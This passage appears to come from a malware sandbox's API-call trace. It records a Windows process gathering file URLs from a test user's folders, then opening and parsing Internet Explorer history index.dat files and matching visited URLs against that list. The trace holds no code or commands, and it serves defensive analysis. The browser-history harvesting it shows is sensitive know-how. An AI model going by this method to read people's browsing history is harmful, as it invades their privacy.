cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/aarrlt_jtdpkkjt_swo.xls") returned 104 [0069.065] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.065] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/LDY-i67whVYLZ/fPn_m8OwAAVY2i.ots" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/fpn_m8owaavy2i.ots") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/fpn_m8owaavy2i.ots" [0069.065] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/fpn_m8owaavy2i.ots") returned 96 [0069.066] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.066] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/1jX4GuS1oH/TSxDZC%203HI/1qpg-IyVnQu.bmp" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/1qpg-iyvnqu.bmp") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/1qpg-iyvnqu.bmp" [0069.066] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/1qpg-iyvnqu.bmp") returned 86 [0069.066] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.066] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/bnGTVm7.xlsx" | out: _Str="file:///c:/users/aetadzjz/documents/bngtvm7.xlsx") returned="file:///c:/users/aetadzjz/documents/bngtvm7.xlsx" [0069.066] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/bngtvm7.xlsx") returned 49 [0069.066] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.066] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/M%20Py5Nq8/eye27EhQbLHL.bmp" | out: _Str="file:///c:/users/aetadzjz/desktop/m%20py5nq8/eye27ehqblhl.bmp") returned="file:///c:/users/aetadzjz/desktop/m%20py5nq8/eye27ehqblhl.bmp" [0069.066] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/m%20py5nq8/eye27ehqblhl.bmp") returned 62 [0069.066] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.066] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/4C7rg/EbI_g_ji2vd2vnKLrop5.ppt" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/ebi_g_ji2vd2vnklrop5.ppt") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/ebi_g_ji2vd2vnklrop5.ppt" [0069.066] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/ebi_g_ji2vd2vnklrop5.ppt") returned 94 [0069.066] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.066] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/Q6O2n7WwKPR.bmp" | out: _Str="file:///c:/users/aetadzjz/desktop/q6o2n7wwkpr.bmp") returned="file:///c:/users/aetadzjz/desktop/q6o2n7wwkpr.bmp" [0069.066] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/q6o2n7wwkpr.bmp") returned 50 [0069.066] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.066] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/xV29v9LM6U3E.bmp" | out: _Str="file:///c:/users/aetadzjz/pictures/xv29v9lm6u3e.bmp") returned="file:///c:/users/aetadzjz/pictures/xv29v9lm6u3e.bmp" [0069.066] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/xv29v9lm6u3e.bmp") returned 52 [0069.066] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.066] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/O954v.gif" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/o954v.gif") returned="file:///c:/users/aetadzjz/appdata/roaming/o954v.gif" [0069.066] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/o954v.gif") returned 52 [0069.066] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.067] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/ihknzkjo.doc" | out: _Str="file:///c:/users/aetadzjz/desktop/ihknzkjo.doc") returned="file:///c:/users/aetadzjz/desktop/ihknzkjo.doc" [0069.067] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/ihknzkjo.doc") returned 47 [0069.067] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.067] SetFilePointer (in: hFile=0xc4, lDistanceToMove=63744, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf900 [0069.067] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2830c0, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830c0*=0x8, lpOverlapped=0x0) returned 1 [0069.067] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.067] SetFilePointer (in: hFile=0xc4, lDistanceToMove=63872, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf980 [0069.067] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2830c0, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830c0*=0x8, lpOverlapped=0x0) returned 1 [0069.067] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.067] SetFilePointer (in: hFile=0xc4, lDistanceToMove=64000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfa00 [0069.067] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2830c0, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830c0*=0x8, lpOverlapped=0x0) returned 1 [0069.067] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.067] SetFilePointer (in: hFile=0xc4, lDistanceToMove=64128, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfa80 [0069.067] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2830c0, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830c0*=0x8, lpOverlapped=0x0) returned 1 [0069.067] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.067] SetFilePointer (in: hFile=0xc4, lDistanceToMove=64256, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfb00 [0069.067] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2830c0, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830c0*=0x8, lpOverlapped=0x0) returned 1 [0069.067] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.067] SetFilePointer (in: hFile=0xc4, lDistanceToMove=64384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfb80 [0069.067] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2830c0, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830c0*=0x8, lpOverlapped=0x0) returned 1 [0069.067] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.067] SetFilePointer (in: hFile=0xc4, lDistanceToMove=64512, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfc00 [0069.067] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2830c0, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830c0*=0x8, lpOverlapped=0x0) returned 1 [0069.067] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.067] SetFilePointer (in: hFile=0xc4, lDistanceToMove=64640, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfc80 [0069.067] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2830c0, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830c0*=0x8, lpOverlapped=0x0) returned 1 [0069.067] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.067] SetFilePointer (in: hFile=0xc4, lDistanceToMove=64768, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfd00 [0069.067] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2830c0, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830c0*=0x8, lpOverlapped=0x0) returned 1 [0069.067] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.067] SetFilePointer (in: hFile=0xc4, lDistanceToMove=64896, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfd80 [0069.067] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2830c0, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830c0*=0x8, lpOverlapped=0x0) returned 1 [0069.067] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.067] SetFilePointer (in: hFile=0xc4, lDistanceToMove=65024, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfe00 [0069.067] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2830c0, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830c0*=0x8, lpOverlapped=0x0) returned 1 [0069.067] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.067] SetFilePointer (in: hFile=0xc4, lDistanceToMove=65152, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfe80 [0069.067] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2830c0, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830c0*=0x8, lpOverlapped=0x0) returned 1 [0069.068] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.068] SetFilePointer (in: hFile=0xc4, lDistanceToMove=65280, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xff00 [0069.068] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2830c0, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830c0*=0x8, lpOverlapped=0x0) returned 1 [0069.068] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.068] SetFilePointer (in: hFile=0xc4, lDistanceToMove=65408, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xff80 [0069.068] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2830c0, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830c0*=0x8, lpOverlapped=0x0) returned 1 [0069.068] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.068] CloseHandle (hObject=0xc4) returned 1 [0069.068] FindNextFileW (in: hFindFile=0x89fed8, lpFindFileData=0x289748 | out: lpFindFileData=0x289748) returned 1 [0069.068] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned 0x45 [0069.068] wcslen (_String="MSHist012017110620171113") returned 0x18 [0069.068] wcscpy (in: _Dest=0x289998, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5" [0069.068] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned 0x45 [0069.068] wcscat (in: _Dest=0x289998, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\" [0069.068] wcscat (in: _Dest=0x289998, _Source="MSHist012017110620171113" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017110620171113") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017110620171113" [0069.068] wcscmp (_String1="MSHist012017110620171113", _String2="..") returned 1 [0069.068] wcscmp (_String1="MSHist012017110620171113", _String2=".") returned 1 [0069.068] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017110620171113") returned 0x5e [0069.068] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017110620171113") returned 0x5e [0069.068] wcslen (_String="*.*") returned 0x3 [0069.068] wcscpy (in: _Dest=0x288ac4, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017110620171113" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017110620171113") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017110620171113" [0069.068] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017110620171113") returned 0x5e [0069.068] wcscat (in: _Dest=0x288ac4, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017110620171113\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017110620171113\\" [0069.068] wcscat (in: _Dest=0x288ac4, _Source="*.*" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017110620171113\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017110620171113\\*.*" [0069.068] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017110620171113\\*.*", lpFindFileData=0x288d4c | out: lpFindFileData=0x288d4c) returned 0x89ff18 [0069.068] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017110620171113") returned 0x5e [0069.068] wcslen (_String=".") returned 0x1 [0069.068] wcscpy (in: _Dest=0x288f9c, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017110620171113" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017110620171113") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017110620171113" [0069.068] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017110620171113") returned 0x5e [0069.068] wcscat (in: _Dest=0x288f9c, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017110620171113\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017110620171113\\" [0069.068] wcscat (in: _Dest=0x288f9c, _Source="." | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017110620171113\\.") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017110620171113\\." [0069.068] wcscmp (_String1=".", _String2="..") returned -1 [0069.068] wcscmp (_String1=".", _String2=".") returned 0 [0069.068] _wcsicmp (_String1=".", _String2="index.dat") returned -59 [0069.068] FindNextFileW (in: hFindFile=0x89ff18, lpFindFileData=0x288d4c | out: lpFindFileData=0x288d4c) returned 1 [0069.068] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017110620171113") returned 0x5e [0069.069] wcslen (_String="..") returned 0x2 [0069.069] wcscpy (in: _Dest=0x288f9c, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017110620171113" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017110620171113") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017110620171113" [0069.069] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017110620171113") returned 0x5e [0069.069] wcscat (in: _Dest=0x288f9c, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017110620171113\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017110620171113\\" [0069.069] wcscat (in: _Dest=0x288f9c, _Source=".." | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017110620171113\\..") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017110620171113\\.." [0069.069] wcscmp (_String1="..", _String2="..") returned 0 [0069.069] _wcsicmp (_String1="..", _String2="index.dat") returned -59 [0069.069] FindNextFileW (in: hFindFile=0x89ff18, lpFindFileData=0x288d4c | out: lpFindFileData=0x288d4c) returned 1 [0069.069] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017110620171113") returned 0x5e [0069.069] wcslen (_String="index.dat") returned 0x9 [0069.069] wcscpy (in: _Dest=0x288f9c, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017110620171113" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017110620171113") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017110620171113" [0069.069] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017110620171113") returned 0x5e [0069.069] wcscat (in: _Dest=0x288f9c, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017110620171113\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017110620171113\\" [0069.069] wcscat (in: _Dest=0x288f9c, _Source="index.dat" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017110620171113\\index.dat") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017110620171113\\index.dat" [0069.069] _wcsicmp (_String1="index.dat", _String2="index.dat") returned 0 [0069.069] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017110620171113\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\mshist012017110620171113\\index.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc8 [0069.069] SetFilePointer (in: hFile=0xc8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.069] ReadFile (in: hFile=0xc8, lpBuffer=0x288a1c, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x2826e4, lpOverlapped=0x0 | out: lpBuffer=0x288a1c*, lpNumberOfBytesRead=0x2826e4*=0x20, lpOverlapped=0x0) returned 1 [0069.069] GetFileSize (in: hFile=0xc8, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x8000 [0069.069] SetFilePointer (in: hFile=0xc8, lDistanceToMove=20480, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5000 [0069.069] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.069] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.069] _strlwr (in: _Str="https://www.google.de/" | out: _Str="https://www.google.de/") returned="https://www.google.de/" [0069.070] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="https://www.google.de/") returned 23 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/ihknzkjo.doc") returned 1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/appdata/roaming/o954v.gif") returned 1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/xv29v9lm6u3e.bmp") returned 1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/q6o2n7wwkpr.bmp") returned 1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/ebi_g_ji2vd2vnklrop5.ppt") returned 1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/eye27ehqblhl.bmp") returned 1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/bngtvm7.xlsx") returned 1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/1qpg-iyvnqu.bmp") returned 1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/fpn_m8owaavy2i.ots") returned 1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/aarrlt_jtdpkkjt_swo.xls") returned 1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/s_xsuwu8qqnzog4v9zrx.mkv") returned 1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/appdata/roaming/w94fqong.rtf") returned 1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/kd4kvqssjiojqr1.flv") returned 1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/j6dziy9vqbux5.ppt") returned 1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/c9ut6lytwia.xlsx") returned 1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/appdata/roaming/s3erd-a.bmp") returned 1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/mg6b0r2nv.ots") returned 1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/yiw1h.png") returned 1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/ftcc9f70gxzbb.gif") returned 1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/u_bk5.pps") returned 1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/ly3agvy_y5cf6nmd50e1.jpg") returned 1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/boukln.flv") returned 1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/2serklwgvw2wr0dvkh.docx") returned 1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/khpa.jpg") returned 1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/lrl%20osdtaq.jpg") returned 1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/appdata/roaming/spfa9u6bx.xls") returned 1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/oe_9.docx") returned 